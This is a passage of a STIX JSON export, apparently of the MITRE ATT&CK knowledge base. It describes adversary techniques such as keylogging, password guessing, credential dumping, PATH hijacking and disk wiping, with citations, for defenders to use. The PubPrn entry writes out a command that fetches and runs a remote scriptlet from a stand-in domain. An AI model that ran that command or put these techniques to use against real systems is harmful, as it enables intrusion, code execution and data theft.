Relationship](https://attack.mitre.org/techniques/T1199)).",
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                    "phase_name": "reconnaissance"
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            "x_mitre_platforms": [
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            "type": "attack-pattern",
            "id": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "created": "2020-02-11T18:58:11.791Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1056/001",
                    "external_id": "T1056.001"
                },
                {
                    "source_name": "Talos Kimsuky Nov 2021",
                    "description": "An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021.",
                    "url": "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html"
                },
                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
                },
                {
                    "source_name": "Adventures of a Keystroke",
                    "description": "Tinaztepe,  E. (n.d.). The Adventures of a Keystroke:  An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.",
                    "url": "http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf"
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            "description": "Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.(Citation: Talos Kimsuky Nov 2021)\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:\n\n* Hooking API callbacks used for processing keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data.\n* Reading raw keystroke data from the hardware buffer.\n* Windows Registry modifications.\n* Custom drivers.\n* [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks) ",
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                {
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                    "phase_name": "collection"
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                    "kill_chain_name": "mitre-attack",
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            "x_mitre_contributors": [
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            "type": "attack-pattern",
            "id": "attack-pattern--09b008a9-b4eb-462a-a751-a0eb58050cd9",
            "created": "2024-03-29T16:59:10.374Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1564/012",
                    "external_id": "T1564.012"
                },
                {
                    "source_name": "Microsoft File Folder Exclusions",
                    "description": "Microsoft. (2024, February 27). Contextual file and folder exclusions. Retrieved March 29, 2024.",
                    "url": "https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-contextual-file-folder-exclusions-microsoft-defender-antivirus"
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            "modified": "2026-05-12T15:12:00.620Z",
            "name": "File/Path Exclusions",
            "description": "Adversaries may attempt to hide their file-based artifacts by writing them to specific folders or file names excluded from antivirus (AV) scanning and other defensive capabilities. AV and other file-based scanners often include exclusions to optimize performance as well as ease installation and legitimate use of applications. These exclusions may be contextual (e.g., scans are only initiated in response to specific triggering events/alerts), but are also often hardcoded strings referencing specific folders and/or files assumed to be trusted and legitimate.(Citation: Microsoft File Folder Exclusions)\n\nAdversaries may abuse these exclusions to hide their file-based artifacts. For example, rather than  tampering with tool settings to add a new exclusion (i.e., [Disable or Modify Tools](https://attack.mitre.org/techniques/T1685)), adversaries may drop their file-based payloads in default or otherwise well-known exclusions. Adversaries may also use [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) and other [Discovery](https://attack.mitre.org/tactics/TA0007)/[Reconnaissance](https://attack.mitre.org/tactics/TA0043) activities to both discover and verify existing exclusions in a victim environment.",
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "created": "2020-02-04T19:24:27.774Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1222/002",
                    "external_id": "T1222.002"
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                {
                    "source_name": "Hybrid Analysis Icacls1 June 2018",
                    "description": "Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.",
                    "url": "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100"
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                    "source_name": "Hybrid Analysis Icacls2 May 2018",
                    "description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.",
                    "url": "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110"
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                {
                    "source_name": "20 macOS Common Tools and Techniques",
                    "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.",
                    "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
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            "modified": "2026-05-12T15:12:00.620Z",
            "name": "Linux and Mac Permissions",
            "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nMost Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform\u2019s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: <code>chown</code> (short for change owner), and <code>chmod</code> (short for change mode).\n\nAdversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS Common Tools and Techniques) ",
            "kill_chain_phases": [
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                    "phase_name": "defense-impairment"
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "type": "attack-pattern",
            "id": "attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119",
            "created": "2020-02-11T18:38:22.617Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1110/001",
                    "external_id": "T1110.001"
                },
                {
                    "source_name": "Trend Micro Emotet 2020",
                    "description": "Cybercrime & Digital Threat Team. (2020, February 13). Emotet Now Spreads via Wi-Fi. Retrieved February 16, 2022.",
                    "url": "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/emotet-now-spreads-via-wi-fi"
                },
                {
                    "source_name": "Cylance Cleaver",
                    "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
                    "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
                },
                {
                    "source_name": "US-CERT TA18-068A 2018",
                    "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A"
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            "name": "Password Guessing",
            "description": "Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.\n\nGuessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)\n\nTypically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n* SNMP (161/UDP and 162/TCP/UDP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018). Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: Trend Micro Emotet 2020)\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.",
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            "x_mitre_deprecated": false,
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "type": "attack-pattern",
            "id": "attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58",
            "created": "2020-02-03T16:49:57.788Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1216/001",
                    "external_id": "T1216.001"
                },
                {
                    "source_name": "pubprn",
                    "description": "Jason Gerend. (2017, October 16). pubprn. Retrieved July 23, 2021.",
                    "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/pubprn"
                },
                {
                    "source_name": "Enigma0x3 PubPrn Bypass",
                    "description": "Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018.",
                    "url": "https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/"
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            "name": "PubPrn",
            "description": "Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via <code>Cscript.exe</code>. For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.(Citation: pubprn)\n\nAdversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.\n\nIn later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S).",
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            ],
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            "x_mitre_deprecated": false,
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        {
            "type": "attack-pattern",
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            "created": "2020-10-02T17:05:43.562Z",
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                    "url": "https://attack.mitre.org/techniques/T1597/002",
                    "external_id": "T1597.002"
                },
                {
                    "source_name": "ZDNET Selling Data",
                    "description": "Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020.",
                    "url": "https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/"
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            "modified": "2025-10-24T17:48:22.109Z",
            "name": "Purchase Technical Data",
            "description": "Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.\n\nAdversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim\u2019s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",
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                    "phase_name": "reconnaissance"
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            "id": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
            "created": "2017-05-31T21:30:19.735Z",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1003",
                    "external_id": "T1003"
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                {
                    "source_name": "Medium Detecting Attempts to Steal Passwords from Memory",
                    "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.",
                    "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea"
                },
                {
                    "source_name": "AdSecurity DCSync Sept 2015",
                    "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.",
                    "url": "https://adsecurity.org/?p=1729"
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                    "source_name": "Microsoft DRSR Dec 2017",
                    "description": "Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.",
                    "url": "https://msdn.microsoft.com/library/cc228086.aspx"
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                {
                    "source_name": "Microsoft NRPC Dec 2017",
                    "description": "Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.",
                    "url": "https://msdn.microsoft.com/library/cc237008.aspx"
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                {
                    "source_name": "Microsoft GetNCCChanges",
                    "description": "Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.",
                    "url": "https://msdn.microsoft.com/library/dd207691.aspx"
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                    "source_name": "Microsoft SAMR",
                    "description": "Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.",
                    "url": "https://msdn.microsoft.com/library/cc245496.aspx"
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                {
                    "source_name": "Powersploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "url": "https://github.com/mattifestation/PowerSploit"
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                {
                    "source_name": "Samba DRSUAPI",
                    "description": "SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.",
                    "url": "https://wiki.samba.org/index.php/DRSUAPI"
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                {
                    "source_name": "Harmj0y DCSync Sept 2015",
                    "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.",
                    "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/"
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                {
                    "source_name": "Brining MimiKatz to Unix",
                    "description": "Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.",
                    "url": "https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf"
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                    "source_name": "RotaJakiro 2021 netlab360 analysis",
                    "description": " Alex Turing, Hui Wang. (2021, April 28). RotaJakiro: A long live secret backdoor with 0 VT detection. Retrieved June 14, 2023.",
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                    "source_name": "Apple Dev Dynamic Libraries",
                    "description": "Apple. (2012, July 23). Overview of Dynamic Libraries. Retrieved September 7, 2023.",
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                    "description": "Erye Hernandez and Danny Tsechansky. (2017, June 22). The New and Improved macOS Backdoor from OceanLotus. Retrieved September 8, 2023.",
                    "url": "https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/"
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                    "source_name": "Microsoft DLL",
                    "description": "Microsoft. (2023, April 28). What is a DLL. Retrieved September 7, 2023.",
                    "url": "https://learn.microsoft.com/troubleshoot/windows-client/deployment/dynamic-link-library"
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                {
                    "source_name": "Linux Shared Libraries",
                    "description": "Wheeler, D. (2003, April 11). Shared Libraries. Retrieved September 7, 2023.",
                    "url": "https://tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html"
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            "description": "Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., [Native API](https://attack.mitre.org/techniques/T1106)).\n\nAdversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, adversaries can modularize functionality of their malware into shared objects that perform various functions such as managing C2 network communications or execution of specific actions on objective.\n\nThe Linux & macOS module loader can load and execute shared objects from arbitrary local paths. This functionality resides in `dlfcn.h` in functions such as `dlopen` and `dlsym`. Although macOS can execute `.so` files, common practice uses `.dylib` files.(Citation: Apple Dev Dynamic Libraries)(Citation: Linux Shared Libraries)(Citation: RotaJakiro 2021 netlab360 analysis)(Citation: Unit42 OceanLotus 2017)\n\nThe Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in `NTDLL.dll` and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like `LoadLibrary` at run time.(Citation: Microsoft DLL)",
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                {
                    "source_name": "Cisco Advisory SNMP v3 Authentication Vulnerabilities",
                    "description": "Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020.",
                    "url": "https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3"
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                {
                    "source_name": "US-CERT TA17-156A SNMP Abuse 2017",
                    "description": "US-CERT. (2017, June 5). Reducing the Risk of SNMP Abuse. Retrieved October 19, 2020.",
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                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
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                    "source_name": "format_cmd_cisco",
                    "description": "Cisco. (2022, August 16). format - Cisco IOS Configuration Fundamentals Command Reference. Retrieved July 13, 2022.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/F_through_K.html#wp2829794668"
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                    "source_name": "Unit 42 Shamoon3 2018",
                    "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/"
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                {
                    "source_name": "Palo Alto Shamoon Nov 2016",
                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"
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                    "source_name": "FireEye Shamoon Nov 2016",
                    "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20210126065851/https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html"
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                {
                    "source_name": "Kaspersky StoneDrill 2017",
                    "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf"
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                    "source_name": "Microsoft Sysmon v6 May 2017",
                    "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.",
                    "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon"
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                {
                    "source_name": "Symantec Shamoon 2012",
                    "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.",
                    "url": "https://www.symantec.com/connect/blogs/shamoon-attacks"
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            "description": "Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped.\n\nOn a network devices, adversaries may reformat the file system using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `format`.(Citation: format_cmd_cisco)\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)",
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                    "source_name": "Cisco DoSdetectNetflow",
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                    "source_name": "USNYAG IranianBotnet March 2016",
                    "description": "Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019.",
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                    "source_name": "FireEye APT38 Oct 2018",
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                    "source_name": "DOJ Lazarus Sony 2018",
                    "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.",
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            "name": "Stored Data Manipulation",
            "description": "Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",
            "kill_chain_phases": [
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                    "phase_name": "impact"
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
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            "x_mitre_impact_type": [
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32",
            "created": "2020-03-13T14:10:43.424Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1574/007",
                    "external_id": "T1574.007"
                },
                {
                    "source_name": "Elastic Rules macOS launchctl 2022",
                    "description": "Elastic Security 7.17. (2022, February 1). Modification of Environment Variable via Launchctl. Retrieved September 28, 2023.",
                    "url": "https://www.elastic.co/guide/en/security/7.17/prebuilt-rule-7-16-4-modification-of-environment-variable-via-launchctl.html"
                },
                {
                    "source_name": "ExpressVPN PATH env Windows 2021",
                    "description": "ExpressVPN Security Team. (2021, November 16). Cybersecurity lessons: A PATH vulnerability in Windows. Retrieved September 28, 2023.",
                    "url": "https://www.expressvpn.com/blog/cybersecurity-lessons-a-path-vulnerability-in-windows/"
                },
                {
                    "source_name": "uptycs Fake POC linux malware 2023",
                    "description": "Nischay Hegde and Siddartha Malladi. (2023, July 12). PoC Exploit: Fake Proof of Concept with Backdoor Malware. Retrieved September 28, 2023.",
                    "url": "https://www.uptycs.com/blog/new-poc-exploit-backdoor-malware"
                },
                {
                    "source_name": "nixCraft macOS PATH variables",
                    "description": "Vivek Gite. (2023, August 22). MacOS \u2013 Set / Change $PATH Variable Command. Retrieved September 28, 2023.",
                    "url": "https://www.cyberciti.biz/faq/appleosx-bash-unix-change-set-path-environment-variable/"
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            "name": "Path Interception by PATH Environment Variable",
            "description": "Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line. \n\nAdversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.\n\nFor example, on Windows if an adversary places a malicious program named \"net.exe\" in `C:\\example path`, which by default precedes `C:\\Windows\\system32\\net.exe` in the PATH environment variable, when \"net\" is executed from the command-line the `C:\\example path` will be called instead of the system's legitimate executable at `C:\\Windows\\system32\\net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: ExpressVPN PATH env Windows 2021)\n\nAdversaries may also directly modify the $PATH variable specifying the directories to be searched.  An adversary can modify the `$PATH` variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022)",
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                    "url": "https://attack.mitre.org/techniques/T1213/002",
                    "external_id": "T1213.002"
                },
                {
                    "source_name": "Microsoft SharePoint Logging",
                    "description": "Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.",
                    "url": "https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2"
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            "name": "Sharepoint",
            "description": "Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552))\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n",
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            "id": "attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5",
            "created": "2017-05-31T21:30:20.934Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1006",
                    "external_id": "T1006"
                },
                {
                    "source_name": "Github PowerSploit Ninjacopy",
                    "description": "Bialek, J. (2015, December 16). Invoke-NinjaCopy.ps1. Retrieved June 2, 2016.",
                    "url": "https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1"
                },
                {
                    "source_name": "Hakobyan 2009",
                    "description": "Hakobyan, A. (2009, January 8). FDump - Dumping File Sectors Directly from Disk using Logical Offsets. Retrieved November 12, 2014.",
                    "url": "http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin"
                },
                {
                    "source_name": "LOLBAS Esentutl",
                    "description": "LOLBAS. (n.d.). Esentutl.exe. Retrieved September 3, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Esentutl/"
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            "modified": "2026-05-12T15:12:00.620Z",
            "name": "Direct Volume Access",
            "description": "Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique may bypass Windows file access controls as well as file system monitoring tools.(Citation: Hakobyan 2009)\n\nUtilities, such as `NinjaCopy`, exist to perform these actions in PowerShell.(Citation: Github PowerSploit Ninjacopy) Adversaries may also use built-in or third-party utilities (such as `vssadmin`, `wbadmin`, and [esentutl](https://attack.mitre.org/software/S0404)) to create shadow copies or backups of data from system volumes.(Citation: LOLBAS Esentutl)",
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            "x_mitre_contributors": [
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            "x_mitre_domains": [
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            "x_mitre_platforms": [
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a",
            "created": "2017-05-31T21:30:43.063Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1044",
                    "external_id": "T1044"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/17.html",
                    "external_id": "CAPEC-17"
                },
                {
                    "source_name": "Mozilla Firefox Installer DLL Hijack",
                    "description": "Kugler, R. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017.",
                    "url": "https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/"
                },
                {
                    "source_name": "Seclists Kanthak 7zip Installer",
                    "description": "Kanthak, S. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe\tallows remote code execution with escalation of privilege. Retrieved March 10, 2017.",
                    "url": "http://seclists.org/fulldisclosure/2015/Dec/34"
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            "modified": "2025-10-24T17:48:23.101Z",
            "name": "File System Permissions Weakness",
